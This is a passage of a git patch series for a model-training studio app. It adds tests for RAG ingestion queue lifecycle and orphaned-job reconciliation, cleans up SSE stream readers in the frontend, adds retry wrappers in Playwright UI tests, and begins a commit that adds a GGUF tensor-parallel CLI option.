diff --git a/studio/backend/tests/test_rag_job_events_queue_lifecycle.py b/studio/backend/tests/test_rag_job_events_queue_lifecycle.py
new file mode 100644
index 0000000000..0eb115c562
--- /dev/null
+++ b/studio/backend/tests/test_rag_job_events_queue_lifecycle.py
@@ -0,0 +1,114 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""job_events keeps the per-job queue registered only while the worker runs.
+
+``_emit()`` writes to ``_jobs[job_id]`` while the worker runs; if an early SSE
+disconnect removed that queue, later events would be dropped and a reconnect
+would see only ``[DONE]`` and mark a running job complete. So keep it on an early
+disconnect of a running job, but drop it on a terminal exit or a disconnect after
+the job already finished; ``_reap_finished_jobs`` sweeps any leftovers.
+"""
+
+import queue
+import sqlite3
+import sys
+from pathlib import Path
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+import core.rag.ingestion as ing
+
+
+def test_early_disconnect_keeps_queue_registered(monkeypatch):
+    monkeypatch.setattr(ing, "_SSE_POLL_SECONDS", 0.01)
+    # Job is still running; nothing terminal has happened.
+    monkeypatch.setattr(ing, "get_job_status", lambda _jid: {"status": "running"})
+    jid = "job-early-disconnect"
+    ing._jobs[jid] = queue.Queue()
+    try:
+        gen = ing.job_events(jid)
+        next(gen)  # enter loop: Empty -> non-terminal -> heartbeat
+        gen.close()  # client disconnects before the job finishes
+        assert (
+            jid in ing._jobs
+        ), "queue must survive an early disconnect so the worker can still emit"
+    finally:
+        ing._jobs.pop(jid, None)
+
+
+def test_terminal_sentinel_removes_queue(monkeypatch):
+    monkeypatch.setattr(ing, "_SSE_POLL_SECONDS", 0.01)
+    jid = "job-terminal-sentinel"
+    q = queue.Queue()
+    q.put({"type": "progress", "stage": "embedding", "progress": 0.5})
+    q.put(None)  # worker finished -> sentinel
+    ing._jobs[jid] = q
+    try:
+        events = list(ing.job_events(jid))  # drains progress, then None -> terminal
+        assert any(e.get("type") == "progress" for e in events)
+        assert jid not in ing._jobs, "queue must be removed once the job is terminal"
+    finally:
+        ing._jobs.pop(jid, None)
+
+
+def test_disconnect_after_terminal_event_removes_queue(monkeypatch):
+    monkeypatch.setattr(ing, "_SSE_POLL_SECONDS", 0.01)
+    # Worker finished: the DB row is terminal and a complete event is queued. The
+    # UI reads that event and disconnects (reader.cancel) before the None sentinel,
+    # so the queue must still drop rather than linger until the next reap.
+    monkeypatch.setattr(ing, "get_job_status", lambda _jid: {"status": "completed"})
+    jid = "job-disconnect-after-complete"
+    q = queue.Queue()
+    q.put({"type": "complete", "num_chunks": 3})
+    q.put(None)
+    ing._jobs[jid] = q
+    try:
+        gen = ing.job_events(jid)
+        assert next(gen)["type"] == "complete"  # client receives the terminal event
+        gen.close()  # disconnects before draining the sentinel
+        assert jid not in ing._jobs, "a finished job's queue must drop on disconnect"
+    finally:
+        ing._jobs.pop(jid, None)
+
+
+def test_transient_status_read_failure_does_not_end_stream(monkeypatch):
+    monkeypatch.setattr(ing, "_SSE_POLL_SECONDS", 0.01)
+    # The heartbeat poll hits a momentarily-locked DB. That must not propagate: the
+    # SSE route would turn the raised error into a terminal {type: error} frame and
+    # the UI would drop a document whose worker is still running. The stream should
+    # heartbeat and keep the queue so the worker can finish / a reconnect can resume.
+    calls = {"n": 0}
+
+    def flaky_status(_jid):
+        calls["n"] += 1
+        if calls["n"] == 1:
+            raise sqlite3.OperationalError("database is locked")
+        return {"status": "running"}
+
+    monkeypatch.setattr(ing, "get_job_status", flaky_status)
+    jid = "job-transient-read-failure"
+    ing._jobs[jid] = queue.Queue()
+    try:
+        gen = ing.job_events(jid)
+        assert next(gen) == {"type": "heartbeat"}  # transient error -> heartbeat, no raise
+        gen.close()
+        assert jid in ing._jobs, "an unconfirmed (transient-error) status must keep the queue"
+    finally:
+        ing._jobs.pop(jid, None)
+
+
+def test_terminal_db_status_removes_queue(monkeypatch):
+    monkeypatch.setattr(ing, "_SSE_POLL_SECONDS", 0.01)
+    # No events arrive, but the DB row reports the job finished (hard worker death
+    # that skipped the sentinel): the stream ends and the queue is reaped.
+    monkeypatch.setattr(ing, "get_job_status", lambda _jid: {"status": "completed"})
+    jid = "job-terminal-db"
+    ing._jobs[jid] = queue.Queue()
+    try:
+        list(ing.job_events(jid))
+        assert jid not in ing._jobs, "a terminal DB status must remove the queue"
+    finally:
+        ing._jobs.pop(jid, None)
diff --git a/studio/backend/tests/test_rag_reconcile_orphaned.py b/studio/backend/tests/test_rag_reconcile_orphaned.py
new file mode 100644
index 0000000000..c6932e4588
--- /dev/null
+++ b/studio/backend/tests/test_rag_reconcile_orphaned.py
@@ -0,0 +1,114 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Startup reconciliation must not strip chunks from already-completed docs.
+
+A crash can leave an ingestion_jobs row non-terminal after the worker already
+committed the document as ``completed`` with all its chunks. Reconciliation flips
+the orphaned job to ``failed`` but must touch the document (and its chunks) only
+when it actually transitions the document to ``failed`` -- otherwise a completed
+source loses every chunk yet still reports ``completed``, so retrieval finds
+nothing and dedup (``status != 'failed'``) blocks re-ingest.
+"""
+
+import math
+
+from core.rag import store
+from core.rag.chunking import Chunk
+from storage import rag_db
+
+VOCAB = ["alpha", "bravo", "charlie", "delta"]
+
+
+def _embed(text):
+    v = [float(text.lower().count(w)) for w in VOCAB]
+    n = math.sqrt(sum(x * x for x in v)) or 1.0
+    return [x / n for x in v]
+
+
+def _chunk(text, index = 0):
+    return Chunk(
+        text = text,
+        token_count = len(text.split()),
+        page_number = None,
+        source_page_index = 0,
+        chunk_index = index,
+        page_char_start = 0,
+        page_char_end = len(text),
+    )
+
+
+def _add_doc(conn, scope, doc_id, status, texts):
+    store.create_document(
+        conn, scope = scope, filename = f"{doc_id}.txt", sha256 = doc_id, document_id = doc_id
+    )
+    store.add_chunks(
+        conn, scope, doc_id, [_chunk(t, i) for i, t in enumerate(texts)], [_embed(t) for t in texts]
+    )
+    store.set_document_status(conn, doc_id, status, num_chunks = len(texts))
+
+
+def _orphan_job(
+    conn,
+    doc_id,
+    scope,
+    status = "running",
+):
+    conn.execute(
+        "INSERT INTO ingestion_jobs(id, document_id, scope, status, stage, progress, created_at) "
+        "VALUES(?,?,?,?,?,?,datetime('now'))",
+        (f"job-{doc_id}", doc_id, scope, status, "embedding", 0.5),
+    )
+    conn.commit()
+
+
+def _chunk_count(conn, doc_id):
+    return conn.execute("SELECT COUNT(*) FROM chunks WHERE document_id=?", (doc_id,)).fetchone()[0]
+
+
+def _job_status(conn, doc_id):
+    return conn.execute(
+        "SELECT status FROM ingestion_jobs WHERE id=?", (f"job-{doc_id}",)
+    ).fetchone()["status"]
+
+
+def test_completed_doc_keeps_chunks_when_its_job_is_orphaned(rag_conn):
+    # Worker finished the document but crashed before retiring the job row.
+    _add_doc(rag_conn, "kb_a", "done", "completed", ["alpha bravo", "charlie delta"])
+    _orphan_job(rag_conn, "done", "kb_a")
+
+    assert rag_db.reconcile_orphaned_ingestion_jobs() == 1
+
+    # Document stays completed with all chunks; dedup still finds it.
+    assert store.get_document(rag_conn, "done")["status"] == "completed"
+    assert _chunk_count(rag_conn, "done") == 2
+    assert store.document_by_hash(rag_conn, "kb_a", "done") == "done"
+    # The orphaned job is reconciled to completed (not failed), so the UI's getJob
+    # fallback doesn't flag a searchable document as a failed ingestion.
+    assert _job_status(rag_conn, "done") == "completed"
+
+
+def test_in_flight_doc_is_failed_and_its_chunks_dropped(rag_conn):
+    # Partial chunks committed, document never marked terminal -> genuine orphan.
+    _add_doc(rag_conn, "kb_a", "partial", "processing", ["alpha bravo"])
+    _orphan_job(rag_conn, "partial", "kb_a")
+
+    assert rag_db.reconcile_orphaned_ingestion_jobs() == 1
+
+    assert store.get_document(rag_conn, "partial")["status"] == "failed"
+    assert _chunk_count(rag_conn, "partial") == 0
+    # Failed doc is re-ingestible (not deduped).
+    assert store.document_by_hash(rag_conn, "kb_a", "partial") is None
+
+
+def test_already_failed_doc_has_its_chunks_dropped(rag_conn):
+    # Worker committed chunks then marked the doc 'failed', but crashed before
+    # retiring the job row. Reconcile won't re-flip the doc (already failed), but
+    # its chunks must still be purged so they aren't retrievable/citable.
+    _add_doc(rag_conn, "kb_a", "failed_doc", "failed", ["alpha bravo"])
+    _orphan_job(rag_conn, "failed_doc", "kb_a")
+
+    assert rag_db.reconcile_orphaned_ingestion_jobs() == 1
+
+    assert store.get_document(rag_conn, "failed_doc")["status"] == "failed"
+    assert _chunk_count(rag_conn, "failed_doc") == 0
diff --git a/studio/backend/tests/test_training_progress_prep_timeout.py b/studio/backend/tests/test_training_progress_prep_timeout.py
index a7e6d4f839..28e2ee37b9 100644
--- a/studio/backend/tests/test_training_progress_prep_timeout.py
+++ b/studio/backend/tests/test_training_progress_prep_timeout.py
@@ -71,11 +71,17 @@ class _Backend:
 class _FakeRequest:
     headers = {}
 
+    async def is_disconnected(self):
+        return False
+
 
 class _ReconnectRequest:
     # Reconnect carrying the last step the client already received.
     headers = {"last-event-id": "10"}
 
+    async def is_disconnected(self):
+        return False
+
 
 def _raw(response):
     async def _drain():
diff --git a/studio/backend/tests/test_training_progress_stream_nan.py b/studio/backend/tests/test_training_progress_stream_nan.py
index 899527a04d..5cd84bbca5 100644
--- a/studio/backend/tests/test_training_progress_stream_nan.py
+++ b/studio/backend/tests/test_training_progress_stream_nan.py
@@ -62,6 +62,16 @@ class _FakeBackend:
 class _FakeRequest:
     headers = {}
 
+    async def is_disconnected(self):
+        return False
+
+
+class _DisconnectedRequest:
+    headers = {}
+
+    async def is_disconnected(self):
+        return True
+
 
 def _collect_events(response, timeout = 15):
     async def _drain():
@@ -116,6 +126,20 @@ def test_inactive_stream_completes_with_live_step_and_null_loss(monkeypatch):
     assert final["loss"] is None
 
 
+def test_disconnect_while_active_does_not_emit_complete(monkeypatch):
+    # Client drops mid-run: the stream must end without a terminal "complete"
+    # frame, which a buffered/proxy consumer could otherwise read as a finished
+    # run while training is still active.
+    backend = _FakeBackend(active_polls = 5)
+    monkeypatch.setattr(rt, "get_training_backend", lambda: backend)
+
+    response = asyncio.run(
+        rt.stream_training_progress(_DisconnectedRequest(), current_subject = "tester")
+    )
+    raw = _collect_events(response)
+    assert "event: complete" not in raw
+
+
 def test_stream_uses_finite_history_when_progress_in_sync(monkeypatch):
     backend = _FakeBackend(active_polls = 2)
     # Live progress agrees with the history tail: normal finite behavior.
diff --git a/studio/frontend/src/features/chat/api/chat-api.ts b/studio/frontend/src/features/chat/api/chat-api.ts
index 7112a7877c..15066caa8f 100644
--- a/studio/frontend/src/features/chat/api/chat-api.ts
+++ b/studio/frontend/src/features/chat/api/chat-api.ts
@@ -844,79 +844,96 @@ export async function* streamChatCompletions(
   const reader = response.body.getReader();
   const decoder = new TextDecoder();
   let buffer = "";
+  let completed = false;
 
-  while (true) {
-    const { done, value } = await reader.read();
-    if (done) {
-      break;
+  try {
+    while (true) {
+      const { done, value } = await reader.read();
+      if (done) {
+        completed = true;
+        break;
+      }
+
+      buffer += decoder.decode(value, { stream: true });
+
+      let separatorIndex = buffer.search(/\r?\n\r?\n/);
+      while (separatorIndex >= 0) {
+        const rawEvent = buffer.slice(0, separatorIndex);
+        const separatorLength = buffer[separatorIndex] === "\r" ? 4 : 2;
+        buffer = buffer.slice(separatorIndex + separatorLength);
+
+        const dataLines = parseSseEvent(rawEvent);
+        if (dataLines.length === 0) {
+          separatorIndex = buffer.search(/\r?\n\r?\n/);
+          continue;
+        }
+
+        const dataText = dataLines.join("\n");
+        if (dataText === "[DONE]") {
+          completed = true;
+          return;
+        }
+
+        const parsed = JSON.parse(dataText) as
+          | OpenAIChatChunk
+          | { type?: string; content?: string; error?: { message?: string } };
+        if ("error" in parsed && parsed.error) {
+          throw new Error(parsed.error.message || "Stream error");
+        }
+        // Tool status events are custom SSE payloads, not OpenAI chunks
+        if ("type" in parsed && parsed.type === "tool_status") {
+          yield {
+            _toolStatus: parsed.content ?? "",
+          } as unknown as OpenAIChatChunk;
+          separatorIndex = buffer.search(/\r?\n\r?\n/);
+          continue;
+        }
+        // Diffusion frame: a per-step canvas snapshot. Custom SSE payload (not an OpenAI chunk) with
+        // no assistant text, surfaced as a transient marker for the in-place renderer, never the transcript.
+        if ("type" in parsed && parsed.type === "diffusion_frame") {
+          yield {
+            _diffusionFrame: parsed,
+          } as unknown as OpenAIChatChunk;
+          separatorIndex = buffer.search(/\r?\n\r?\n/);
+          continue;
+        }
+        // Tool start/end events carry full input/output for the tool outputs panel
+        if (
+          "type" in parsed &&
+          (parsed.type === "tool_start" || parsed.type === "tool_end")
+        ) {
+          yield { _toolEvent: parsed } as unknown as OpenAIChatChunk;
+          separatorIndex = buffer.search(/\r?\n\r?\n/);
+          continue;
+        }
+        // Relay server-side reasoning duration.
+        if (
+          parsed &&
+          typeof parsed === "object" &&
+          "type" in parsed &&
+          parsed.type === "reasoning_summary"
+        ) {
+          yield {
+            _reasoningDurationMs: (parsed as { duration_ms?: number }).duration_ms,
+          } as unknown as OpenAIChatChunk;
+          separatorIndex = buffer.search(/\r?\n\r?\n/);
+          continue;
+        }
+        yield parsed as OpenAIChatChunk;
+        separatorIndex = buffer.search(/\r?\n\r?\n/);
+      }
     }
-
-    buffer += decoder.decode(value, { stream: true });
-
-    let separatorIndex = buffer.search(/\r?\n\r?\n/);
-    while (separatorIndex >= 0) {
-      const rawEvent = buffer.slice(0, separatorIndex);
-      const separatorLength = buffer[separatorIndex] === "\r" ? 4 : 2;
-      buffer = buffer.slice(separatorIndex + separatorLength);
-
-      const dataLines = parseSseEvent(rawEvent);
-      if (dataLines.length === 0) {
-        separatorIndex = buffer.search(/\r?\n\r?\n/);
-        continue;
+  } finally {
+    // Only abort on an early/abnormal exit. After a natural [DONE] (or server
+    // EOF) the request is logically complete and the backend finalizes its
+    // api-monitor entry right after the sentinel; cancelling here can be seen as
+    // a disconnect and mark a successful request as cancelled.
+    if (!completed) {
+      try {
+        await reader.cancel();
+      } catch {
+        // already closed
       }
-
-      const dataText = dataLines.join("\n");
-      if (dataText === "[DONE]") {
-        return;
-      }
-
-      const parsed = JSON.parse(dataText) as
-        | OpenAIChatChunk
-        | { type?: string; content?: string; error?: { message?: string } };
-      if ("error" in parsed && parsed.error) {
-        throw new Error(parsed.error.message || "Stream error");
-      }
-      // Tool status events are custom SSE payloads, not OpenAI chunks
-      if ("type" in parsed && parsed.type === "tool_status") {
-        yield {
-          _toolStatus: parsed.content ?? "",
-        } as unknown as OpenAIChatChunk;
-        separatorIndex = buffer.search(/\r?\n\r?\n/);
-        continue;
-      }
-      // Diffusion frame: a per-step canvas snapshot. Custom SSE payload (not an OpenAI chunk) with
-      // no assistant text, surfaced as a transient marker for the in-place renderer, never the transcript.
-      if ("type" in parsed && parsed.type === "diffusion_frame") {
-        yield {
-          _diffusionFrame: parsed,
-        } as unknown as OpenAIChatChunk;
-        separatorIndex = buffer.search(/\r?\n\r?\n/);
-        continue;
-      }
-      // Tool start/end events carry full input/output for the tool outputs panel
-      if (
-        "type" in parsed &&
-        (parsed.type === "tool_start" || parsed.type === "tool_end")
-      ) {
-        yield { _toolEvent: parsed } as unknown as OpenAIChatChunk;
-        separatorIndex = buffer.search(/\r?\n\r?\n/);
-        continue;
-      }
-      // Relay server-side reasoning duration.
-      if (
-        parsed &&
-        typeof parsed === "object" &&
-        "type" in parsed &&
-        parsed.type === "reasoning_summary"
-      ) {
-        yield {
-          _reasoningDurationMs: (parsed as { duration_ms?: number }).duration_ms,
-        } as unknown as OpenAIChatChunk;
-        separatorIndex = buffer.search(/\r?\n\r?\n/);
-        continue;
-      }
-      yield parsed as OpenAIChatChunk;
-      separatorIndex = buffer.search(/\r?\n\r?\n/);
     }
   }
 }
diff --git a/studio/frontend/src/features/export/api/export-api.ts b/studio/frontend/src/features/export/api/export-api.ts
index 659dd44f88..f055f1bd61 100644
--- a/studio/frontend/src/features/export/api/export-api.ts
+++ b/studio/frontend/src/features/export/api/export-api.ts
@@ -425,5 +425,12 @@ export async function streamExportLogs(options: {
   } catch (err) {
     if (isAbortError(err)) return;
     throw err;
+  } finally {
+    // Release the stream lock now instead of leaking the reader until GC.
+    try {
+      await reader.cancel();
+    } catch {
+      // already closed
+    }
   }
 }
diff --git a/studio/frontend/src/features/rag/api/rag-api.ts b/studio/frontend/src/features/rag/api/rag-api.ts
index 34ded24ac3..b1215d2d46 100644
--- a/studio/frontend/src/features/rag/api/rag-api.ts
+++ b/studio/frontend/src/features/rag/api/rag-api.ts
@@ -197,31 +197,40 @@ export async function* streamJobEvents(
   const decoder = new TextDecoder();
   let buffer = "";
 
-  while (true) {
-    const { done, value } = await reader.read();
-    if (done) break;
-    buffer += decoder.decode(value, { stream: true });
+  try {
+    while (true) {
+      const { done, value } = await reader.read();
+      if (done) break;
+      buffer += decoder.decode(value, { stream: true });
 
-    let separatorIndex = buffer.search(/\r?\n\r?\n/);
-    while (separatorIndex >= 0) {
-      const rawEvent = buffer.slice(0, separatorIndex);
-      const separatorLength = buffer[separatorIndex] === "\r" ? 4 : 2;
-      buffer = buffer.slice(separatorIndex + separatorLength);
+      let separatorIndex = buffer.search(/\r?\n\r?\n/);
+      while (separatorIndex >= 0) {
+        const rawEvent = buffer.slice(0, separatorIndex);
+        const separatorLength = buffer[separatorIndex] === "\r" ? 4 : 2;
+        buffer = buffer.slice(separatorIndex + separatorLength);
 
-      const dataLines: string[] = [];
-      for (const line of rawEvent.split(/\r?\n/)) {
-        if (line.startsWith("data:")) dataLines.push(line.slice(5).trimStart());
-      }
-      if (dataLines.length > 0) {
-        const dataText = dataLines.join("\n");
-        if (dataText === "[DONE]") return;
-        try {
-          yield JSON.parse(dataText) as JobEvent;
-        } catch {
-          // Ignore unparseable frames; [DONE] still ends the loop.
+        const dataLines: string[] = [];
+        for (const line of rawEvent.split(/\r?\n/)) {
+          if (line.startsWith("data:")) dataLines.push(line.slice(5).trimStart());
         }
+        if (dataLines.length > 0) {
+          const dataText = dataLines.join("\n");
+          if (dataText === "[DONE]") return;
+          try {
+            yield JSON.parse(dataText) as JobEvent;
+          } catch {
+            // Ignore unparseable frames; [DONE] still ends the loop.
+          }
+        }
+        separatorIndex = buffer.search(/\r?\n\r?\n/);
       }
-      separatorIndex = buffer.search(/\r?\n\r?\n/);
+    }
+  } finally {
+    // Release the stream lock now instead of leaking the reader until GC.
+    try {
+      await reader.cancel();
+    } catch {
+      // already closed
     }
   }
 }
diff --git a/studio/frontend/src/features/recipe-studio/api/index.ts b/studio/frontend/src/features/recipe-studio/api/index.ts
index b227b960d1..4fe24b1f6d 100644
--- a/studio/frontend/src/features/recipe-studio/api/index.ts
+++ b/studio/frontend/src/features/recipe-studio/api/index.ts
@@ -400,28 +400,37 @@ export async function streamRecipeJobEvents(options: {
   const decoder = new TextDecoder();
   let buffer = "";
 
-  while (true) {
-    const { value, done } = await reader.read();
-    if (done) {
-      break;
-    }
-    buffer += decoder.decode(value, { stream: true });
-    let separatorIndex = buffer.search(/\r?\n\r?\n/);
-    while (separatorIndex >= 0) {
-      const rawEvent = buffer.slice(0, separatorIndex);
-      const separatorLength = buffer[separatorIndex] === "\r" ? 4 : 2;
-      buffer = buffer.slice(separatorIndex + separatorLength);
+  try {
+    while (true) {
+      const { value, done } = await reader.read();
+      if (done) {
+        break;
+      }
+      buffer += decoder.decode(value, { stream: true });
+      let separatorIndex = buffer.search(/\r?\n\r?\n/);
+      while (separatorIndex >= 0) {
+        const rawEvent = buffer.slice(0, separatorIndex);
+        const separatorLength = buffer[separatorIndex] === "\r" ? 4 : 2;
+        buffer = buffer.slice(separatorIndex + separatorLength);
 
-      if (rawEvent.startsWith("retry:")) {
+        if (rawEvent.startsWith("retry:")) {
+          separatorIndex = buffer.search(/\r?\n\r?\n/);
+          continue;
+        }
+
+        const parsed = parseJobEvent(rawEvent);
+        if (parsed) {
+          options.onEvent(parsed);
+        }
         separatorIndex = buffer.search(/\r?\n\r?\n/);
-        continue;
       }
-
-      const parsed = parseJobEvent(rawEvent);
-      if (parsed) {
-        options.onEvent(parsed);
-      }
-      separatorIndex = buffer.search(/\r?\n\r?\n/);
+    }
+  } finally {
+    // Release the stream lock now instead of leaking the reader until GC.
+    try {
+      await reader.cancel();
+    } catch {
+      // already closed
     }
   }
 }
diff --git a/studio/frontend/src/features/training/api/train-api.ts b/studio/frontend/src/features/training/api/train-api.ts
index af3ea347c2..609e4f8591 100644
--- a/studio/frontend/src/features/training/api/train-api.ts
+++ b/studio/frontend/src/features/training/api/train-api.ts
@@ -143,37 +143,46 @@ export async function streamTrainingProgress(options: {
   const decoder = new TextDecoder();
   let buffer = "";
 
-  while (true) {
-    const { value, done } = await reader.read();
-    if (done) {
-      break;
-    }
+  try {
+    while (true) {
+      const { value, done } = await reader.read();
+      if (done) {
+        break;
+      }
 
-    buffer += decoder.decode(value, { stream: true });
+      buffer += decoder.decode(value, { stream: true });
 
-    let separatorIndex = buffer.search(/\r?\n\r?\n/);
-    while (separatorIndex >= 0) {
-      const rawEvent = buffer.slice(0, separatorIndex);
-      const separatorLength = buffer[separatorIndex] === "\r" ? 4 : 2;
-      buffer = buffer.slice(separatorIndex + separatorLength);
+      let separatorIndex = buffer.search(/\r?\n\r?\n/);
+      while (separatorIndex >= 0) {
+        const rawEvent = buffer.slice(0, separatorIndex);
+        const separatorLength = buffer[separatorIndex] === "\r" ? 4 : 2;
+        buffer = buffer.slice(separatorIndex + separatorLength);
+
+        if (rawEvent.startsWith("retry:")) {
+          separatorIndex = buffer.search(/\r?\n\r?\n/);
+          continue;
+        }
+
+        try {
+          const event = parseSseEvent(rawEvent);
+          if (event) {
+            options.onEvent(event);
+          }
+        } catch (error) {
+          if (!isAbortError(error)) {
+            throw error;
+          }
+        }
 
-      if (rawEvent.startsWith("retry:")) {
         separatorIndex = buffer.search(/\r?\n\r?\n/);
-        continue;
       }
-
-      try {
-        const event = parseSseEvent(rawEvent);
-        if (event) {
-          options.onEvent(event);
-        }
-      } catch (error) {
-        if (!isAbortError(error)) {
-          throw error;
-        }
-      }
-
-      separatorIndex = buffer.search(/\r?\n\r?\n/);
+    }
+  } finally {
+    // Release the stream lock now instead of leaking the reader until GC.
+    try {
+      await reader.cancel();
+    } catch {
+      // already closed
     }
   }
 }

From b693ed7c913e97331728079df520d3d7126f27f3 Mon Sep 17 00:00:00 2001
From: James Dawdy <jim.dawdy@gmail.com>
Date: Fri, 26 Jun 2026 10:56:52 -0500
Subject: [PATCH 123/306] fix: wrap unprotected evaluate() calls with
 robust_evaluate() to handle navigation context loss (#6677)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

* fix: wrap unprotected evaluate() calls with robust_evaluate() to handle navigation context loss

Fixes PR #5911 - Playwright UI test error: 'Execution context was destroyed'

The test had several direct page.evaluate() and locator.evaluate() calls that
weren't wrapped with robust_evaluate(), which retries when navigation destroys
the execution context mid-operation.

Changes:
- Wrap picker_visible_text() evaluate in robust_evaluate()
- Wrap _bubble_count() evaluate in robust_evaluate()
- Wrap assistant text query in robust_evaluate()
- Wrap theme_item click evaluation in robust_evaluate()
- Wrap background color/theme query in robust_evaluate()

This ensures all execution context losses from concurrent navigation are
properly caught and retried with exponential backoff, preventing transient
failures in the UI test suite.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix: revert robust_evaluate on theme_item.evaluate per Codex review

The theme_item.evaluate('el => el.click()') is side-effecting — retrying
after a context loss could double-toggle the theme. It's already inside
a 3-attempt try/except loop that handles click failures gracefully.

The other 4 changes (all read-only queries) remain wrapped in
robust_evaluate() since retrying them is safe.

* fix: wrap remaining chat UI evaluate

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: imagineer99 <samleejackson0@gmail.com>
---
 tests/studio/playwright_chat_ui.py | 32 ++++++++++++++++++++----------
 1 file changed, 22 insertions(+), 10 deletions(-)

diff --git a/tests/studio/playwright_chat_ui.py b/tests/studio/playwright_chat_ui.py
index f9147054ee..a892d3414d 100644
--- a/tests/studio/playwright_chat_ui.py
+++ b/tests/studio/playwright_chat_ui.py
@@ -494,12 +494,15 @@ with sync_playwright() as p:
             # typeahead actually filters (else an ignored-input regression
             # would silently pass).
             def picker_visible_text():
-                return page.evaluate("""() => {
+                return robust_evaluate(
+                    page,
+                    """() => {
                     const el = document.querySelector(
                         '[role="dialog"], [role="listbox"], [role="menu"]'
                     );
                     return el ? (el.innerText || '').trim() : '';
-                }""")
+                }""",
+                )
 
             search.fill("qwen")
             page.wait_for_timeout(800)
@@ -535,9 +538,12 @@ with sync_playwright() as p:
 
     def _bubble_count():
         """Total [data-role='assistant'] elements (empty or not)."""
-        return page.evaluate("""() => {
+        return robust_evaluate(
+            page,
+            """() => {
             return document.querySelectorAll('[data-role="assistant"]').length;
-        }""")
+        }""",
+        )
 
     def send_and_wait(prompt, idx):
         # 1. Wait until the previous turn fully stopped: Send attached
@@ -626,8 +632,11 @@ with sync_playwright() as p:
         send_and_wait(p_, i)
     shoot("04-after-five-turns")
 
-    texts = page.evaluate("""() => Array.from(document.querySelectorAll('[data-role="assistant"]'))
-        .map(e => (e.innerText || '').trim())""")
+    texts = robust_evaluate(
+        page,
+        """() => Array.from(document.querySelectorAll('[data-role="assistant"]'))
+        .map(e => (e.innerText || '').trim())""",
+    )
     if len(texts) < len(prompts):
         fail(f"expected >= {len(prompts)} assistant bubbles, got {len(texts)}")
     info(f"five turn lengths = {[len(t) for t in texts[:5]]}")
@@ -840,7 +849,9 @@ with sync_playwright() as p:
             # Settle. The ".dark" class on <html> is the ground truth
             # (theme-store toggles only that); don't gate on ".light".
             page.wait_for_timeout(700)
-            bg = page.evaluate("""() => {
+            bg = robust_evaluate(
+                page,
+                """() => {
                 const root = document.documentElement;
                 return {
                     cls:    root.className,
@@ -848,7 +859,8 @@ with sync_playwright() as p:
                     bg:     getComputedStyle(document.body).backgroundColor,
                     rbg:    getComputedStyle(root).backgroundColor,
                 };
-            }""")
+            }""",
+            )
             observed.append(bg)
             shoot(f"10-theme-cycle-{cycle + 1}")
             info(f"  cycle {cycle + 1}: dark={bg['isDark']} body bg={bg['bg']!r}")
@@ -1050,7 +1062,8 @@ with sync_playwright() as p:
             shoot("15d-recent-clicked")
             info(f"OK clicked recent entry: {t[:60]!r}")
             # The landed thread must include at least one of our prompts.
-            turns_text = page.evaluate(
+            turns_text = robust_evaluate(
+                page,
                 """() => {
                 const els = document.querySelectorAll(
                     '[data-role="user"], [data-role="assistant"]'
@@ -1058,7 +1071,6 @@ with sync_playwright() as p:
                 return Array.from(els).map(e => (e.innerText || '')
                     .toLowerCase()).join(' ');
             }""",
-                None,
             )
             clicked_recent = True
             if any(k in turns_text for k in PROMPT_KEYWORDS):

From cb274484a6835daa64b00c84dadf45f82f4ffd61 Mon Sep 17 00:00:00 2001
From: Avaya Aggarwal <119044997+OnePunchMonk@users.noreply.github.com>
Date: Sat, 27 Jun 2026 00:00:10 +0530
Subject: [PATCH 124/306] Add GGUF --tensor-parallel CLI option (#6561)

---------

Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
---
 studio/backend/models/inference.py       |   3 +-
 unsloth_cli/_inference.py                | 108 +++++--
 unsloth_cli/commands/chat.py             |  26 +-
 unsloth_cli/commands/inference.py        |  26 +-
 unsloth_cli/tests/test_inference_chat.py | 355 +++++++++++++++++++++++
 5 files changed, 494 insertions(+), 24 deletions(-)

diff --git a/studio/backend/models/inference.py b/studio/backend/models/inference.py
index 26825a472e..4a3162b09e 100644
--- a/studio/backend/models/inference.py
+++ b/studio/backend/models/inference.py
@@ -106,8 +106,7 @@ class LoadRequest(BaseModel):
             "Extra arguments forwarded verbatim to llama-server for GGUF models. "
             "One token per list entry, e.g. ['--top-k', '20', '--seed', '42']. "
             "Studio-managed flags (model identity, port, context length, GPU placement, "
-            "auth, --flash-attn, --no-context-shift, --jinja) are rejected. Ignored for "
-            "non-GGUF models."
+            "auth, UI/server mode) are rejected. Ignored for non-GGUF models."
         ),
     )
 
diff --git a/unsloth_cli/_inference.py b/unsloth_cli/_inference.py
index 0baeb2ffe5..e8a3414d73 100644
--- a/unsloth_cli/_inference.py
+++ b/unsloth_cli/_inference.py
@@ -3,11 +3,12 @@
 
 """Model loading and streaming shared by `inference` and `chat`."""
 
+import asyncio
 import os
 import re
 import sys
 from pathlib import Path
-from typing import Optional
+from typing import List, Optional
 
 import typer
 
@@ -211,28 +212,65 @@ def resolve_model_config(model: str, *, hf_token: Optional[str]):
     return model_config
 
 
-def _load_gguf_backend(model_config, *, hf_token, max_seq_length):
+def _validate_llama_extra_args_or_exit(llama_extra_args: Optional[List[str]]) -> list[str]:
+    from core.inference.llama_server_args import validate_extra_args
+    try:
+        return validate_extra_args(llama_extra_args)
+    except ValueError as exc:
+        typer.echo(f"Error: {exc}", err = True)
+        raise typer.Exit(code = 1)
+
+
+def _load_gguf_backend(
+    model_config,
+    *,
+    hf_token,
+    max_seq_length,
+    tensor_parallel: bool = False,
+    llama_extra_args: Optional[List[str]] = None,
+):
     ensure_studio_backend_path()
     from core.inference.llama_cpp import LlamaCppBackend
+    from core.inference.tensor_fallback import load_with_tensor_fallback
 
     llama_backend = LlamaCppBackend()
+    extra_args = _validate_llama_extra_args_or_exit(llama_extra_args)
     common = dict(
         hf_variant = model_config.gguf_variant,
